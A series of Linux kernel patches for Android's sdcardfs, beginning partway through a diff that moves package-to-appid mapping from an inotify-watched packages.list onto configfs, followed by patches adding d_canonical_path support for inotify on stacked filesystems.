+97,12 @@ int check_caller_access_to_name(struct inode *parent_node, const char* name, } } - /* No additional permissions enforcement */ - if (derive == DERIVE_NONE) { - return 1; - } - /* Root always has access; access for any other UIDs should always * be controlled through packages.list. */ if (current_fsuid() == 0) { return 1; } - /* If asking to write, verify that caller either owns the - * parent or holds sdcard_rw. */ - if (w_ok) { - if (parent_node && - (current_fsuid() == SDCARDFS_I(parent_node)->d_uid)) { - return 1; - } - return has_rw; - } - /* No extra permissions to enforce */ return 1; } @@ -170,14 +120,13 @@ int open_flags_to_access_mode(int open_flags) { } } -static int insert_str_to_int(struct packagelist_data *pkgl_dat, char *key, +static int insert_str_to_int_lock(struct packagelist_data *pkgl_dat, char *key, unsigned int value) { struct hashtable_entry *hash_cur; struct hashtable_entry *new_entry; unsigned int hash = str_hash(key); - //printk(KERN_INFO "sdcardfs: %s: %s: %d, %u\n", __func__, (char *)key, value, hash); hash_for_each_possible(pkgl_dat->package_to_appid, hash_cur, hlist, hash) { if (!strcasecmp(key, hash_cur->key)) { hash_cur->value = value; @@ -193,245 +142,278 @@ static int insert_str_to_int(struct packagelist_data *pkgl_dat, char *key, return 0; } -static void remove_str_to_int(struct hashtable_entry *h_entry) { - //printk(KERN_INFO "sdcardfs: %s: %s: %d\n", __func__, (char *)h_entry->key, h_entry->value); - kfree(h_entry->key); - kmem_cache_free(hashtable_entry_cachep, h_entry); +static void fixup_perms(struct super_block *sb) { + if (sb && sb->s_magic == SDCARDFS_SUPER_MAGIC) { + mutex_lock(&sb->s_root->d_inode->i_mutex); + get_derive_permissions_recursive(sb->s_root); + mutex_unlock(&sb->s_root->d_inode->i_mutex); + } } -static int insert_int_to_null(struct packagelist_data *pkgl_dat, unsigned int key, - unsigned int value) -{ - struct hashtable_entry *hash_cur; - struct hashtable_entry *new_entry; +static int insert_str_to_int(struct packagelist_data *pkgl_dat, char *key, + unsigned int value) { + int ret; + struct sdcardfs_sb_info *sbinfo; + mutex_lock(&sdcardfs_super_list_lock); + mutex_lock(&pkgl_dat->hashtable_lock); + ret = insert_str_to_int_lock(pkgl_dat, key, value); + mutex_unlock(&pkgl_dat->hashtable_lock); - //printk(KERN_INFO "sdcardfs: %s: %d: %d\n", __func__, (int)key, value); - hash_for_each_possible(pkgl_dat->appid_with_rw, hash_cur, hlist, key) { - if ((void *)(uintptr_t)key == hash_cur->key) { - hash_cur->value = value; - return 0; + list_for_each_entry(sbinfo, &sdcardfs_super_list, list) { + if (sbinfo) { + fixup_perms(sbinfo->sb); } } - new_entry = kmem_cache_alloc(hashtable_entry_cachep, GFP_KERNEL); - if (!new_entry) - return -ENOMEM; - new_entry->key = (void *)(uintptr_t)key; - new_entry->value = value; - hash_add(pkgl_dat->appid_with_rw, &new_entry->hlist, key); - return 0; + mutex_unlock(&sdcardfs_super_list_lock); + return ret; } -static void remove_int_to_null(struct hashtable_entry *h_entry) { - //printk(KERN_INFO "sdcardfs: %s: %d: %d\n", __func__, (int)h_entry->key, h_entry->value); +static void remove_str_to_int_lock(struct hashtable_entry *h_entry) { + kfree(h_entry->key); + hash_del(&h_entry->hlist); kmem_cache_free(hashtable_entry_cachep, h_entry); } +static void remove_str_to_int(struct packagelist_data *pkgl_dat, const char *key) +{ + struct sdcardfs_sb_info *sbinfo; + struct hashtable_entry *hash_cur; + unsigned int hash = str_hash(key); + mutex_lock(&sdcardfs_super_list_lock); + mutex_lock(&pkgl_dat->hashtable_lock); + hash_for_each_possible(pkgl_dat->package_to_appid, hash_cur, hlist, hash) { + if (!strcasecmp(key, hash_cur->key)) { + remove_str_to_int_lock(hash_cur); + break; + } + } + mutex_unlock(&pkgl_dat->hashtable_lock); + list_for_each_entry(sbinfo, &sdcardfs_super_list, list) { + if (sbinfo) { + fixup_perms(sbinfo->sb); + } + } + mutex_unlock(&sdcardfs_super_list_lock); + return; +} + static void remove_all_hashentrys(struct packagelist_data *pkgl_dat) { struct hashtable_entry *hash_cur; struct hlist_node *h_t; int i; - + mutex_lock(&pkgl_dat->hashtable_lock); hash_for_each_safe(pkgl_dat->package_to_appid, i, h_t, hash_cur, hlist) - remove_str_to_int(hash_cur); - hash_for_each_safe(pkgl_dat->appid_with_rw, i, h_t, hash_cur, hlist) - remove_int_to_null(hash_cur); - + remove_str_to_int_lock(hash_cur); + mutex_unlock(&pkgl_dat->hashtable_lock); hash_init(pkgl_dat->package_to_appid); - hash_init(pkgl_dat->appid_with_rw); } -static int read_package_list(struct packagelist_data *pkgl_dat) { - int ret; - int fd; - int read_amount; +static struct packagelist_data * packagelist_create(void) +{ + struct packagelist_data *pkgl_dat; - printk(KERN_INFO "sdcardfs: read_package_list\n"); + pkgl_dat = kmalloc(sizeof(*pkgl_dat), GFP_KERNEL | __GFP_ZERO); + if (!pkgl_dat) { + printk(KERN_ERR "sdcardfs: Failed to create hash\n"); + return ERR_PTR(-ENOMEM); + } - mutex_lock(&pkgl_dat->hashtable_lock); + mutex_init(&pkgl_dat->hashtable_lock); + hash_init(pkgl_dat->package_to_appid); + + return pkgl_dat; +} +static void packagelist_destroy(struct packagelist_data *pkgl_dat) +{ remove_all_hashentrys(pkgl_dat); + printk(KERN_INFO "sdcardfs: destroyed packagelist pkgld\n"); + kfree(pkgl_dat); +} - fd = sys_open(kpackageslist_file, O_RDONLY, 0); - if (fd < 0) { - printk(KERN_ERR "sdcardfs: failed to open package list\n"); - mutex_unlock(&pkgl_dat->hashtable_lock); - return fd; - } +struct package_appid { + struct config_item item; + int add_pid; +}; - while ((read_amount = sys_read(fd, pkgl_dat->read_buf, - sizeof(pkgl_dat->read_buf))) > 0) { - unsigned int appid; - char *token; - int one_line_len = 0; - int additional_read; - unsigned long ret_gid; - - while (one_line_len < read_amount) { - if (pkgl_dat->read_buf[one_line_len] == '\n') { - one_line_len++; - break; - } - one_line_len++; - } - additional_read = read_amount - one_line_len; - if (additional_read > 0) - sys_lseek(fd, -additional_read, SEEK_CUR); - - if (sscanf(pkgl_dat->read_buf, "%s %u %*d %*s %*s %s", - pkgl_dat->app_name_buf, &appid, - pkgl_dat->gids_buf) == 3) { - ret = insert_str_to_int(pkgl_dat, pkgl_dat->app_name_buf, appid); - if (ret) { - sys_close(fd); - mutex_unlock(&pkgl_dat->hashtable_lock); - return ret; - } - - token = strtok_r(pkgl_dat->gids_buf, ",", &pkgl_dat->strtok_last); - while (token != NULL) { - if (!kstrtoul(token, 10, &ret_gid) && - (ret_gid == pkgl_dat->write_gid)) { - ret = insert_int_to_null(pkgl_dat, appid, 1); - if (ret) { - sys_close(fd); - mutex_unlock(&pkgl_dat->hashtable_lock); - return ret; - } - break; - } - token = strtok_r(NULL, ",", &pkgl_dat->strtok_last); - } - } - } +static inline struct package_appid *to_package_appid(struct config_item *item) +{ + return item ? container_of(item, struct package_appid, item) : NULL; +} - sys_close(fd); - mutex_unlock(&pkgl_dat->hashtable_lock); - return 0; +static struct configfs_attribute package_appid_attr_add_pid = { + .ca_owner = THIS_MODULE, + .ca_name = "appid", + .ca_mode = S_IRUGO | S_IWUGO, +}; + +static struct configfs_attribute *package_appid_attrs[] = { + &package_appid_attr_add_pid, + NULL, +}; + +static ssize_t package_appid_attr_show(struct config_item *item, + struct configfs_attribute *attr, + char *page) +{ + ssize_t count; + count = sprintf(page, "%d\n", get_appid(pkgl_data_all, item->ci_name)); + return count; } -static int packagelist_reader(void *thread_data) +static ssize_t package_appid_attr_store(struct config_item *item, + struct configfs_attribute *attr, + const char *page, size_t count) { - struct packagelist_data *pkgl_dat = (struct packagelist_data *)thread_data; - struct inotify_event *event; - bool active = false; - int event_pos; - int event_size; - int res = 0; - int nfd; - - allow_signal(SIGINT); - - nfd = sys_inotify_init(); - if (nfd < 0) { - printk(KERN_ERR "sdcardfs: inotify_init failed: %d\n", nfd); - return nfd; - } + struct package_appid *package_appid = to_package_appid(item); + unsigned long tmp; + char *p = (char *) page; + int ret; - while (!kthread_should_stop()) { - if (signal_pending(current)) { - ssleep(1); - continue; - } + tmp = simple_strtoul(p, &p, 10); + if (!p || (*p && (*p != '\n'))) + return -EINVAL; - if (!active) { - res = sys_inotify_add_watch(nfd, kpackageslist_file, IN_DELETE_SELF); - if (res < 0) { - if (res == -ENOENT || res == -EACCES) { - /* Framework may not have created yet, sleep and retry */ - printk(KERN_ERR "sdcardfs: missing packages.list; retrying\n"); - ssleep(2); - printk(KERN_ERR "sdcardfs: missing packages.list_end; retrying\n"); - continue; - } else { - printk(KERN_ERR "sdcardfs: inotify_add_watch failed: %d\n", res); - goto interruptable_sleep; - } - } - /* Watch above will tell us about any future changes, so - * read the current state. */ - res = read_package_list(pkgl_dat); - if (res) { - printk(KERN_ERR "sdcardfs: read_package_list failed: %d\n", res); - goto interruptable_sleep; - } - active = true; - } + if (tmp > INT_MAX) + return -ERANGE; + ret = insert_str_to_int(pkgl_data_all, item->ci_name, (unsigned int)tmp); + package_appid->add_pid = tmp; + if (ret) + return ret; - event_pos = 0; - res = sys_read(nfd, pkgl_dat->event_buf, sizeof(pkgl_dat->event_buf)); - if (res < (int) sizeof(*event)) { - if (res == -EINTR) - continue; - printk(KERN_ERR "sdcardfs: failed to read inotify event: %d\n", res); - goto interruptable_sleep; - } + return count; +} - while (res >= (int) sizeof(*event)) { - event = (struct inotify_event *) (pkgl_dat->event_buf + event_pos); +static void package_appid_release(struct config_item *item) +{ + printk(KERN_INFO "sdcardfs: removing %s\n", item->ci_dentry->d_name.name); + /* item->ci_name is freed already, so we rely on the dentry */ + remove_str_to_int(pkgl_data_all, item->ci_dentry->d_name.name); + kfree(to_package_appid(item)); +} - printk(KERN_INFO "sdcardfs: inotify event: %08x\n", event->mask); - if ((event->mask & IN_IGNORED) == IN_IGNORED) { - /* Previously watched file was deleted, probably due to move - * that swapped in new data; re-arm the watch and read. */ - active = false; - } +static struct configfs_item_operations package_appid_item_ops = { + .release = package_appid_release, + .show_attribute = package_appid_attr_show, + .store_attribute = package_appid_attr_store, +}; - event_size = sizeof(*event) + event->len; - res -= event_size; - event_pos += event_size; - } - continue; +static struct config_item_type package_appid_type = { + .ct_item_ops = &package_appid_item_ops, + .ct_attrs = package_appid_attrs, + .ct_owner = THIS_MODULE, +}; -interruptable_sleep: - set_current_state(TASK_INTERRUPTIBLE); - schedule(); - } - flush_signals(current); - sys_close(nfd); - return res; + +struct sdcardfs_packages { + struct config_group group; +}; + +static inline struct sdcardfs_packages *to_sdcardfs_packages(struct config_item *item) +{ + return item ? container_of(to_config_group(item), struct sdcardfs_packages, group) : NULL; } -void * packagelist_create(gid_t write_gid) +static struct config_item *sdcardfs_packages_make_item(struct config_group *group, const char *name) { - struct packagelist_data *pkgl_dat; - struct task_struct *packagelist_thread; + struct package_appid *package_appid; - pkgl_dat = kmalloc(sizeof(*pkgl_dat), GFP_KERNEL | __GFP_ZERO); - if (!pkgl_dat) { - printk(KERN_ERR "sdcardfs: creating kthread failed\n"); + package_appid = kzalloc(sizeof(struct package_appid), GFP_KERNEL); + if (!package_appid) return ERR_PTR(-ENOMEM); - } - mutex_init(&pkgl_dat->hashtable_lock); - hash_init(pkgl_dat->package_to_appid); - hash_init(pkgl_dat->appid_with_rw); - pkgl_dat->write_gid = write_gid; + config_item_init_type_name(&package_appid->item, name, + &package_appid_type); + + package_appid->add_pid = 0; - packagelist_thread = kthread_run(packagelist_reader, (void *)pkgl_dat, "pkgld"); - if (IS_ERR(packagelist_thread)) { - printk(KERN_ERR "sdcardfs: creating kthread failed\n"); - kfree(pkgl_dat); - return packagelist_thread; - } - pkgl_dat->thread_id = packagelist_thread; + return &package_appid->item; +} - printk(KERN_INFO "sdcardfs: created packagelist pkgld/%d\n", - (int)pkgl_dat->thread_id->pid); +static struct configfs_attribute sdcardfs_packages_attr_description = { + .ca_owner = THIS_MODULE, + .ca_name = "packages_gid.list", + .ca_mode = S_IRUGO, +}; - return (void *)pkgl_dat; +static struct configfs_attribute *sdcardfs_packages_attrs[] = { + &sdcardfs_packages_attr_description, + NULL, +}; + +static ssize_t packages_attr_show(struct config_item *item, + struct configfs_attribute *attr, + char *page) +{ + struct hashtable_entry *hash_cur; + struct hlist_node *h_t; + int i; + int count = 0; + mutex_lock(&pkgl_data_all->hashtable_lock); + hash_for_each_safe(pkgl_data_all->package_to_appid, i, h_t, hash_cur, hlist) + count += snprintf(page + count, PAGE_SIZE - count, "%s %d\n", (char *)hash_cur->key, hash_cur->value); + mutex_unlock(&pkgl_data_all->hashtable_lock); + + + return count; } -void packagelist_destroy(void *pkgl_id) +static void sdcardfs_packages_release(struct config_item *item) { - struct packagelist_data *pkgl_dat = (struct packagelist_data *)pkgl_id; - pid_t pkgl_pid = pkgl_dat->thread_id->pid; - force_sig_info(SIGINT, SEND_SIG_PRIV, pkgl_dat->thread_id); - kthread_stop(pkgl_dat->thread_id); - remove_all_hashentrys(pkgl_dat); - printk(KERN_INFO "sdcardfs: destroyed packagelist pkgld/%d\n", (int)pkgl_pid); - kfree(pkgl_dat); + printk(KERN_INFO "sdcardfs: destroyed something?\n"); + kfree(to_sdcardfs_packages(item)); +} + +static struct configfs_item_operations sdcardfs_packages_item_ops = { + .release = sdcardfs_packages_release, + .show_attribute = packages_attr_show, +}; + +/* + * Note that, since no extra work is required on ->drop_item(), + * no ->drop_item() is provided. + */ +static struct configfs_group_operations sdcardfs_packages_group_ops = { + .make_item = sdcardfs_packages_make_item, +}; + +static struct config_item_type sdcardfs_packages_type = { + .ct_item_ops = &sdcardfs_packages_item_ops, + .ct_group_ops = &sdcardfs_packages_group_ops, + .ct_attrs = sdcardfs_packages_attrs, + .ct_owner = THIS_MODULE, +}; + +static struct configfs_subsystem sdcardfs_packages_subsys = { + .su_group = { + .cg_item = { + .ci_namebuf = "sdcardfs", + .ci_type = &sdcardfs_packages_type, + }, + }, +}; + +static int __init configfs_sdcardfs_init(void) +{ + int ret; + struct configfs_subsystem *subsys = &sdcardfs_packages_subsys; + + config_group_init(&subsys->su_group); + mutex_init(&subsys->su_mutex); + ret = configfs_register_subsystem(subsys); + if (ret) { + printk(KERN_ERR "Error %d while registering subsystem %s\n", + ret, + subsys->su_group.cg_item.ci_namebuf); + } + return ret; +} + +static void __exit configfs_sdcardfs_exit(void) +{ + configfs_unregister_subsystem(&sdcardfs_packages_subsys); } int packagelist_init(void) @@ -444,13 +426,15 @@ int packagelist_init(void) return -ENOMEM; } + pkgl_data_all = packagelist_create(); + configfs_sdcardfs_init(); return 0; } void packagelist_exit(void) { + configfs_sdcardfs_exit(); + packagelist_destroy(pkgl_data_all); if (hashtable_entry_cachep) kmem_cache_destroy(hashtable_entry_cachep); } - - diff --git a/fs/sdcardfs/sdcardfs.h b/fs/sdcardfs/sdcardfs.h index 540459add4a04..10b2afb2a424e 100755 --- a/fs/sdcardfs/sdcardfs.h +++ b/fs/sdcardfs/sdcardfs.h @@ -42,6 +42,7 @@ #include #include #include +#include #include "multiuser.h" /* the file system name */ @@ -70,10 +71,11 @@ #define fix_derived_permission(x) \ do { \ (x)->i_uid = SDCARDFS_I(x)->d_uid; \ - (x)->i_gid = SDCARDFS_I(x)->d_gid; \ - (x)->i_mode = ((x)->i_mode & S_IFMT) | SDCARDFS_I(x)->d_mode;\ + (x)->i_gid = get_gid(SDCARDFS_I(x)); \ + (x)->i_mode = ((x)->i_mode & S_IFMT) | get_mode(SDCARDFS_I(x));\ } while (0) + /* OVERRIDE_CRED() and REVERT_CRED() * OVERRID_CRED() * backup original task->cred @@ -99,35 +101,28 @@ (int)current->cred->fsuid, \ (int)current->cred->fsgid); -/* Android 4.4 support */ +/* Android 5.0 support */ /* Permission mode for a specific node. Controls how file permissions * are derived for children nodes. */ typedef enum { - /* Nothing special; this node should just inherit from its parent. */ - PERM_INHERIT, - /* This node is one level above a normal root; used for legacy layouts - * which use the first level to represent user_id. */ - PERM_LEGACY_PRE_ROOT, - /* This node is "/" */ - PERM_ROOT, - /* This node is "/Android" */ - PERM_ANDROID, - /* This node is "/Android/data" */ - PERM_ANDROID_DATA, - /* This node is "/Android/obb" */ - PERM_ANDROID_OBB, - /* This node is "/Android/user" */ - PERM_ANDROID_USER, + /* Nothing special; this node should just inherit from its parent. */ + PERM_INHERIT, + /* This node is one level above a normal root; used for legacy layouts + * which use the first level to represent user_id. */ + PERM_PRE_ROOT, + /* This node is "/" */ + PERM_ROOT, + /* This node is "/Android" */ + PERM_ANDROID, + /* This node is "/Android/data" */ + PERM_ANDROID_DATA, + /* This node is "/Android/obb" */ + PERM_ANDROID_OBB, + /* This node is "/Android/media" */ + PERM_ANDROID_MEDIA, } perm_t; -/* Permissions structure to derive */ -typedef enum { - DERIVE_NONE, - DERIVE_LEGACY, - DERIVE_UNIFIED, -} derive_t; - typedef enum { LOWER_FS_EXT4, LOWER_FS_FAT, @@ -161,9 +156,9 @@ extern void free_dentry_private_data(struct dentry *dentry); extern struct dentry *sdcardfs_lookup(struct inode *dir, struct dentry *dentry, unsigned int flags); extern struct inode *sdcardfs_iget(struct super_block *sb, - struct inode *lower_inode); + struct inode *lower_inode, userid_t id); extern int sdcardfs_interpose(struct dentry *dentry, struct super_block *sb, - struct path *lower_path); + struct path *lower_path, userid_t id); /* file private data */ struct sdcardfs_file_info { @@ -174,18 +169,16 @@ struct sdcardfs_file_info { /* sdcardfs inode data in memory */ struct sdcardfs_inode_info { struct inode *lower_inode; - /* state derived based on current position in hierachy - * caution: d_mode does not include file types - */ + /* state derived based on current position in hierachy */ perm_t perm; userid_t userid; uid_t d_uid; - gid_t d_gid; - mode_t d_mode; + bool under_android; struct inode vfs_inode; }; + /* sdcardfs dentry data in memory */ struct sdcardfs_dentry_info { spinlock_t lock; /* protects lower_path */ @@ -196,15 +189,17 @@ struct sdcardfs_dentry_info { struct sdcardfs_mount_options { uid_t fs_low_uid; gid_t fs_low_gid; - gid_t write_gid; - int split_perms; - derive_t derive; + userid_t fs_user_id; + gid_t gid; lower_fs_t lower_fs; + mode_t mask; + bool multiuser; unsigned int reserved_mb; }; /* sdcardfs super-block data in memory */ struct sdcardfs_sb_info { + struct super_block *sb; struct super_block *lower_sb; /* derived perm policy : some of options have been added * to sdcardfs_mount_options (Android 4.4 support) */ @@ -213,6 +208,7 @@ struct sdcardfs_sb_info { char *obbpath_s; struct path obbpath; void *pkgl_id; + struct list_head list; }; /* @@ -331,6 +327,44 @@ static inline void sdcardfs_put_reset_##pname(const struct dentry *dent) \ SDCARDFS_DENT_FUNC(lower_path) SDCARDFS_DENT_FUNC(orig_path) +static inline int get_gid(struct sdcardfs_inode_info *info) { + struct sdcardfs_sb_info *sb_info = SDCARDFS_SB(info->vfs_inode.i_sb); + if (sb_info->options.gid == AID_SDCARD_RW) { + /* As an optimization, certain trusted system components only run + * as owner but operate across all users. Since we're now handing + * out the sdcard_rw GID only to trusted apps, we're okay relaxing + * the user boundary enforcement for the default view. The UIDs + * assigned to app directories are still multiuser aware. */ + return AID_SDCARD_RW; + } else { + return multiuser_get_uid(info->userid, sb_info->options.gid); + } +} +static inline int get_mode(struct sdcardfs_inode_info *info) { + int owner_mode; + int filtered_mode; + struct sdcardfs_sb_info *sb_info = SDCARDFS_SB(info->vfs_inode.i_sb); + int visible_mode = 0775 & ~sb_info->options.mask; + + if (info->perm == PERM_PRE_ROOT) { + /* Top of multi-user view should always be visible to ensure + * secondary users can traverse inside. */ + visible_mode = 0711; + } else if (info->under_android) { + /* Block "other" access to Android directories, since only apps + * belonging to a specific user should be in there; we still + * leave +x open for the default view. */ + if (sb_info->options.gid == AID_SDCARD_RW) { + visible_mode = visible_mode & ~0006; + } else { + visible_mode = visible_mode & ~0007; + } + } + owner_mode = info->lower_inode->i_mode & 0700; + filtered_mode = visible_mode & (owner_mode | (owner_mode >> 3) | (owner_mode >> 6)); + return filtered_mode; +} + static inline int has_graft_path(const struct dentry *dent) { int ret = 0; @@ -364,22 +398,24 @@ static inline void sdcardfs_put_real_lower(const struct dentry *dent, sdcardfs_put_lower_path(dent, real_lower); } +extern struct mutex sdcardfs_super_list_lock; +extern struct list_head sdcardfs_super_list; + /* for packagelist.c */ -extern int get_caller_has_rw_locked(void *pkgl_id, derive_t derive); extern appid_t get_appid(void *pkgl_id, const char *app_name); -extern int check_caller_access_to_name(struct inode *parent_node, const char* name, - derive_t derive, int w_ok, int has_rw); +extern int check_caller_access_to_name(struct inode *parent_node, const char* name); extern int open_flags_to_access_mode(int open_flags); -extern void * packagelist_create(gid_t write_gid); -extern void packagelist_destroy(void *pkgl_id); extern int packagelist_init(void); extern void packagelist_exit(void); /* for derived_perm.c */ extern void setup_derived_state(struct inode *inode, perm_t perm, - userid_t userid, uid_t uid, gid_t gid, mode_t mode); + userid_t userid, uid_t uid, bool under_android); extern void get_derived_permission(struct dentry *parent, struct dentry *dentry); -extern void update_derived_permission(struct dentry *dentry); +extern void get_derived_permission_new(struct dentry *parent, struct dentry *dentry, struct dentry *newdentry); +extern void get_derive_permissions_recursive(struct dentry *parent); + +extern void update_derived_permission_lock(struct dentry *dentry); extern int need_graft_path(struct dentry *dentry); extern int is_base_obbpath(struct dentry *dentry); extern int is_obbpath_invalid(struct dentry *dentry); @@ -483,4 +519,18 @@ static inline int check_min_free_space(struct dentry *dentry, size_t size, int d return 1; } +/* Copies attrs and maintains sdcardfs managed attrs */ +static inline void sdcardfs_copy_and_fix_attrs(struct inode *dest, const struct inode *src) +{ + dest->i_mode = (src->i_mode & S_IFMT) | get_mode(SDCARDFS_I(dest)); + dest->i_uid = SDCARDFS_I(dest)->d_uid; + dest->i_gid = get_gid(SDCARDFS_I(dest)); + dest->i_rdev = src->i_rdev; + dest->i_atime = src->i_atime; + dest->i_mtime = src->i_mtime; + dest->i_ctime = src->i_ctime; + dest->i_blkbits = src->i_blkbits; + dest->i_flags = src->i_flags; + set_nlink(dest, src->i_nlink); +} #endif /* not _SDCARDFS_H_ */ diff --git a/fs/sdcardfs/strtok.h b/fs/sdcardfs/strtok.h deleted file mode 100755 index 50ab25aa0bc45..0000000000000 --- a/fs/sdcardfs/strtok.h +++ /dev/null @@ -1,75 +0,0 @@ -/* - * fs/sdcardfs/strtok.h - * - * Copyright (c) 2013 Samsung Electronics Co. Ltd - * Authors: Daeho Jeong, Woojoong Lee, Seunghwan Hyun, - * Sunghwan Yun, Sungjong Seo - * - * This program has been developed as a stackable file system based on - * the WrapFS which written by - * - * Copyright (c) 1998-2011 Erez Zadok - * Copyright (c) 2009 Shrikar Archak - * Copyright (c) 2003-2011 Stony Brook University - * Copyright (c) 2003-2011 The Research Foundation of SUNY - * - * This file is dual licensed. It may be redistributed and/or modified - * under the terms of the Apache 2.0 License OR version 2 of the GNU - * General Public License. - */ - -static char * -strtok_r(char *s, const char *delim, char **last) -{ - char *spanp; - int c, sc; - char *tok; - - - /* if (s == NULL && (s = *last) == NULL) - return NULL; */ - if (s == NULL) { - s = *last; - if (s == NULL) - return NULL; - } - - /* - * Skip (span) leading delimiters (s += strspn(s, delim), sort of). - */ -cont: - c = *s++; - for (spanp = (char *)delim; (sc = *spanp++) != 0;) { - if (c == sc) - goto cont; - } - - if (c == 0) { /* no non-delimiter characters */ - *last = NULL; - return NULL; - } - tok = s - 1; - - /* - * Scan token (scan for delimiters: s += strcspn(s, delim), sort of). - * Note that delim must have one NUL; we stop if we see that, too. - */ - for (;;) { - c = *s++; - spanp = (char *)delim; - do { - sc = *spanp++; - if (sc == c) { - if (c == 0) - s = NULL; - else - s[-1] = 0; - *last = s; - return tok; - } - } while (sc != 0); - } - - /* NOTREACHED */ -} - diff --git a/fs/sdcardfs/super.c b/fs/sdcardfs/super.c index f153ce1b8cf39..1d6490128c990 100755 --- a/fs/sdcardfs/super.c +++ b/fs/sdcardfs/super.c @@ -46,9 +46,6 @@ static void sdcardfs_put_super(struct super_block *sb) sdcardfs_set_lower_super(sb, NULL); atomic_dec(&s->s_active); - if(spd->pkgl_id) - packagelist_destroy(spd->pkgl_id); - kfree(spd); sb->s_fs_info = NULL; } @@ -203,12 +200,8 @@ static int sdcardfs_show_options(struct seq_file *m, struct dentry *root) if (opts->fs_low_gid != 0) seq_printf(m, ",gid=%u", opts->fs_low_gid); - if (opts->derive == DERIVE_NONE) - seq_printf(m, ",derive=none"); - else if (opts->derive == DERIVE_LEGACY) - seq_printf(m, ",derive=legacy"); - else if (opts->derive == DERIVE_UNIFIED) - seq_printf(m, ",derive=unified"); + if (opts->multiuser) + seq_printf(m, ",multiuser"); if (opts->reserved_mb != 0) seq_printf(m, ",reserved=%uMB", opts->reserved_mb); From a38e0caa586099911936a7234ff2d5bd6219ffc9 Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Thu, 11 Feb 2016 16:44:15 -0800 Subject: [PATCH 301/365] vfs: add d_canonical_path for stacked filesystem support Inotify does not currently know when a filesystem is acting as a wrapper around another fs. This means that inotify watchers will miss any modifications to the base file, as well as any made in a separate stacked fs that points to the same file. d_canonical_path solves this problem by allowing the fs to map a dentry to a path in the lower fs. Inotify can use it to find the appropriate place to watch to be informed of all changes to a file. Change-Id: I09563baffad1711a045e45c1bd0bd8713c2cc0b6 Signed-off-by: Daniel Rosenberg --- fs/notify/inotify/inotify_user.c | 17 ++++++++++++++--- include/linux/dcache.h | 1 + 2 files changed, 15 insertions(+), 3 deletions(-) diff --git a/fs/notify/inotify/inotify_user.c b/fs/notify/inotify/inotify_user.c index 959815c1e0176..a61bcb73c45ef 100644 --- a/fs/notify/inotify/inotify_user.c +++ b/fs/notify/inotify/inotify_user.c @@ -738,6 +738,8 @@ SYSCALL_DEFINE3(inotify_add_watch, int, fd, const char __user *, pathname, struct fsnotify_group *group; struct inode *inode; struct path path; + struct path alteredpath; + struct path *canonical_path = &path; struct fd f; int ret; unsigned flags = 0; @@ -765,13 +767,22 @@ SYSCALL_DEFINE3(inotify_add_watch, int, fd, const char __user *, pathname, if (ret) goto fput_and_out; + /* support stacked filesystems */ + if(path.dentry && path.dentry->d_op) { + if (path.dentry->d_op->d_canonical_path) { + path.dentry->d_op->d_canonical_path(path.dentry, &alteredpath); + canonical_path = &alteredpath; + path_put(&path); + } + } + /* inode held in place by reference to path; group by fget on fd */ - inode = path.dentry->d_inode; + inode = canonical_path->dentry->d_inode; group = f.file->private_data; /* create/update an inode mark */ ret = inotify_update_watch(group, inode, mask); - path_put(&path); + path_put(canonical_path); fput_and_out: fdput(f); return ret; @@ -838,7 +849,7 @@ static int __init inotify_user_setup(void) BUILD_BUG_ON(IN_ISDIR != FS_ISDIR); BUILD_BUG_ON(IN_ONESHOT != FS_IN_ONESHOT); - BUG_ON(hweight32(ALL_INOTIFY_BITS) != 21); + BUG_ON(hweight32(ALL_INOTIFY_BITS) != 22); inotify_inode_mark_cachep = KMEM_CACHE(inotify_inode_mark, SLAB_PANIC); event_priv_cachep = KMEM_CACHE(inotify_event_private_data, SLAB_PANIC); diff --git a/include/linux/dcache.h b/include/linux/dcache.h index 05d917f3eba8b..a0278743e1d05 100644 --- a/include/linux/dcache.h +++ b/include/linux/dcache.h @@ -158,6 +158,7 @@ struct dentry_operations { char *(*d_dname)(struct dentry *, char *, int); struct vfsmount *(*d_automount)(struct path *); int (*d_manage)(struct dentry *, bool); + void (*d_canonical_path)(const struct dentry *, struct path *); } ____cacheline_aligned; /* From ade4550d329701c39d483e60884e293982f5b480 Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Thu, 11 Feb 2016 16:53:36 -0800 Subject: [PATCH 302/365] sdcardfs: Add support for d_canonicalize Change-Id: I5d6f0e71b8ca99aec4b0894412f1dfd1cfe12add Signed-off-by: Daniel Rosenberg --- fs/sdcardfs/dentry.c | 1 + 1 file changed, 1 insertion(+) diff --git a/fs/sdcardfs/dentry.c b/fs/sdcardfs/dentry.c index a0c31cb68f923..6497fb7199f35 100755 --- a/fs/sdcardfs/dentry.c +++ b/fs/sdcardfs/dentry.c @@ -178,5 +178,6 @@ const struct dentry_operations sdcardfs_ci_dops = { .d_release = sdcardfs_d_release, .d_hash = sdcardfs_hash_ci, .d_compare = sdcardfs_cmp_ci, + .d_canonical_path = sdcardfs_get_real_lower, }; From 8161b24dbe0b32c0c6b5688cd0558658a1229e7b Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Wed, 23 Mar 2016 12:09:25 -0700 Subject: [PATCH 303/365] inotify: Fix erroneous update of bit count Patch "vfs: add d_canonical_path for stacked filesystem support" erroneously updated the ALL_INOTIFY_BITS count. This changes it back Change-Id: Idb04edc736da276159d30f04c40cff9d6b1e070f --- fs/notify/inotify/inotify_user.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/notify/inotify/inotify_user.c b/fs/notify/inotify/inotify_user.c index a61bcb73c45ef..a9d3e30f06c5a 100644 --- a/fs/notify/inotify/inotify_user.c +++ b/fs/notify/inotify/inotify_user.c @@ -849,7 +849,7 @@ static int __init inotify_user_setup(void) BUILD_BUG_ON(IN_ISDIR != FS_ISDIR); BUILD_BUG_ON(IN_ONESHOT != FS_IN_ONESHOT); - BUG_ON(hweight32(ALL_INOTIFY_BITS) != 22); + BUG_ON(hweight32(ALL_INOTIFY_BITS) != 21); inotify_inode_mark_cachep = KMEM_CACHE(inotify_inode_mark, SLAB_PANIC); event_priv_cachep = KMEM_CACHE(inotify_event_private_data, SLAB_PANIC); From 873e126c1a250bccc9deb970b55dabbc8a1d4365 Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Wed, 23 Mar 2016 16:39:30 -0700 Subject: [PATCH 304/365] sdcardfs: remove effectless config option CONFIG_SDCARD_FS_CI_SEARCH only guards a define for LOOKUP_CASE_INSENSITIVE, which is never used in the kernel. Remove both, along with the option matching that supports it. Change-Id: I363a8f31de8ee7a7a934d75300cc9ba8176e2edf Signed-off-by: Daniel Rosenberg --- 